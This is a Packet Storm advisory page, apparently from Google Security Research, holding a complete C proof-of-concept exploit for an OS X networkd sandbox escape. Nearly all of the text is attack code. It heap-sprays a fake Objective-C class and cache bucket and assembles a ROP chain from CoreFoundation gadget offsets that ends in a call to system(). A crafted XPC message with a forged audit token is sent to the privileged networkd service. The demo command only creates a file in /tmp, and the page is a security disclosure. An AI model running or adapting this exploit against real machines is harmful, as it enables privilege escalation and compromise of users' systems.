Lucene search

K
packetstormGoogle Security ResearchPACKETSTORM:130041
HistoryJan 20, 2015 - 12:00 a.m.

OS X networkd Sandbox Escape

2015-01-2000:00:00
Google Security Research
packetstormsecurity.com
42
`// Requires Lorgnette: https://github.com/rodionovd/liblorgnette  
// clang -o networkd_exploit networkd_exploit.c liblorgnette/lorgnette.c -framework CoreFoundation  
// ianbeer  
#include <dlfcn.h>  
#include <stdint.h>  
#include <stdio.h>  
#include <stdlib.h>  
#include <string.h>  
#include <sys/mman.h>  
  
#include <xpc/xpc.h>  
#include <CoreFoundation/CoreFoundation.h>  
  
#include <mach/mach.h>  
#include <mach/mach_vm.h>  
#include <mach/task.h>  
  
#include <mach-o/dyld_images.h>  
  
#include "liblorgnette/lorgnette.h"  
  
/* find the base address of CoreFoundation for the ROP gadgets */  
  
void* find_library_load_address(const char* library_name){  
kern_return_t err;  
  
// get the list of all loaded modules from dyld  
// the task_info mach API will get the address of the dyld all_image_info struct for the given task  
// from which we can get the names and load addresses of all modules  
task_dyld_info_data_t task_dyld_info;  
mach_msg_type_number_t count = TASK_DYLD_INFO_COUNT;  
err = task_info(mach_task_self(), TASK_DYLD_INFO, (task_info_t)&task_dyld_info, &count);  
  
const struct dyld_all_image_infos* all_image_infos = (const struct dyld_all_image_infos*)task_dyld_info.all_image_info_addr;  
const struct dyld_image_info* image_infos = all_image_infos->infoArray;  
  
for(size_t i = 0; i < all_image_infos->infoArrayCount; i++){  
const char* image_name = image_infos[i].imageFilePath;  
mach_vm_address_t image_load_address = (mach_vm_address_t)image_infos[i].imageLoadAddress;  
if (strstr(image_name, library_name)){  
return (void*)image_load_address;  
}  
}  
return NULL;  
}  
  
  
struct heap_spray {  
void* fake_objc_class_ptr; // -------+  
uint8_t pad0[0x10]; // |  
uint64_t first_gadget; // |  
uint8_t pad1[0x8]; // |  
uint64_t null0; // |  
uint64_t pad3; // |  
uint64_t pop_rdi_rbp_ret; // |  
uint64_t rdi; // |  
uint64_t rbp; // |  
uint64_t system; // |  
struct fake_objc_class_t { // |  
char pad[0x10]; // <----------+  
void* cache_buckets_ptr; //--------+  
uint64_t cache_bucket_mask; // |  
} fake_objc_class; // |  
struct fake_cache_bucket_t { // |  
void* cached_sel; // <--------+ //point to the right selector  
void* cached_function; // will be RIP :)  
} fake_cache_bucket;  
char command[256];  
};  
  
xpc_connection_t connect(){  
xpc_connection_t conn = xpc_connection_create_mach_service("com.apple.networkd", NULL, XPC_CONNECTION_MACH_SERVICE_PRIVILEGED);  
  
xpc_connection_set_event_handler(conn, ^(xpc_object_t event) {  
xpc_type_t t = xpc_get_type(event);  
if (t == XPC_TYPE_ERROR){  
printf("err: %s\n", xpc_dictionary_get_string(event, XPC_ERROR_KEY_DESCRIPTION));  
}  
printf("received an event\n");  
});  
xpc_connection_resume(conn);  
return conn;  
}  
  
void go(){  
void* heap_spray_target_addr = (void*)0x120202000;  
struct heap_spray* hs = mmap(heap_spray_target_addr, 0x1000, 3, MAP_ANON|MAP_PRIVATE|MAP_FIXED, 0, 0);  
memset(hs, 'C', 0x1000);  
hs->null0 = 0;  
hs->fake_objc_class_ptr = &hs->fake_objc_class;  
hs->fake_objc_class.cache_buckets_ptr = &hs->fake_cache_bucket;  
hs->fake_objc_class.cache_bucket_mask = 0;  
  
// nasty hack to find the correct selector address :)  
uint8_t* ptr = (uint8_t*)lorgnette_lookup(mach_task_self(), "_dispatch_objc_release");  
uint64_t* msgrefs = ptr + 0x1a + (*(int32_t*)(ptr+0x16)); //offset of rip-relative offset of selector  
uint64_t sel = msgrefs[1];  
printf("%p\n", sel);  
hs->fake_cache_bucket.cached_sel = sel;  
  
uint8_t* CoreFoundation_base = find_library_load_address("CoreFoundation");  
// pivot:  
/*  
push rax  
add eax, [rax]  
add [rbx+0x41], bl  
pop rsp  
pop r14  
pop r15  
pop rbp  
ret  
*/  
hs->fake_cache_bucket.cached_function = CoreFoundation_base + 0x46ef0; //0x414142424343; // ROP from here  
  
// jump over the NULL then so there's more space:  
//pop, pop, pop, ret: //and keep stack correctly aligned  
hs->first_gadget = CoreFoundation_base + 0x46ef7;  
  
hs->pop_rdi_rbp_ret = CoreFoundation_base + 0x2226;  
hs->system = dlsym(RTLD_DEFAULT, "system");  
  
hs->rdi = &hs->command;  
strcpy(hs->command, "touch /tmp/hello_networkd");  
  
  
size_t heap_spray_pages = 0x40000;  
size_t heap_spray_bytes = heap_spray_pages * 0x1000;  
char* heap_spray_copies = malloc(heap_spray_bytes);  
for (int i = 0; i < heap_spray_pages; i++){  
memcpy(heap_spray_copies+(i*0x1000), hs, 0x1000);  
}  
  
xpc_object_t msg = xpc_dictionary_create(NULL, NULL, 0);  
  
xpc_dictionary_set_data(msg, "heap_spray", heap_spray_copies, heap_spray_bytes);  
  
xpc_dictionary_set_uint64(msg, "type", 6);  
xpc_dictionary_set_uint64(msg, "connection_id", 1);  
  
xpc_object_t params = xpc_dictionary_create(NULL, NULL, 0);  
xpc_object_t conn_list = xpc_array_create(NULL, 0);  
  
xpc_object_t arr_dict = xpc_dictionary_create(NULL, NULL, 0);  
xpc_dictionary_set_string(arr_dict, "hostname", "example.com");  
  
xpc_array_append_value(conn_list, arr_dict);  
xpc_dictionary_set_value(params, "connection_entry_list", conn_list);  
  
char* long_key = malloc(1024);  
memset(long_key, 'A', 1023);  
long_key[1023] = '\x00';  
  
xpc_dictionary_set_string(params, long_key, "something or other that's not important");  
  
uint64_t uuid[] = {0, 0x120200000};  
xpc_dictionary_set_uuid(params, "effective_audit_token", (const unsigned char*)uuid);  
xpc_dictionary_set_uint64(params, "start", 0);  
xpc_dictionary_set_uint64(params, "duration", 0);  
  
xpc_dictionary_set_value(msg, "parameters", params);  
  
xpc_object_t state = xpc_dictionary_create(NULL, NULL, 0);  
xpc_dictionary_set_int64(state, "power_slot", 0);  
xpc_dictionary_set_value(msg, "state", state);  
  
xpc_object_t conn = connect();  
printf("connected\n");  
  
xpc_connection_send_message(conn, msg);  
printf("enqueued message\n");  
  
xpc_connection_send_barrier(conn, ^{printf("other side has enqueued this message\n");});  
  
xpc_release(msg);  
}  
  
int main(){  
go();  
printf("entering CFRunLoop\n");  
for(;;){  
CFRunLoopRunInMode(kCFRunLoopDefaultMode, DBL_MAX, TRUE);  
}  
  
return 0;  
}  
  
`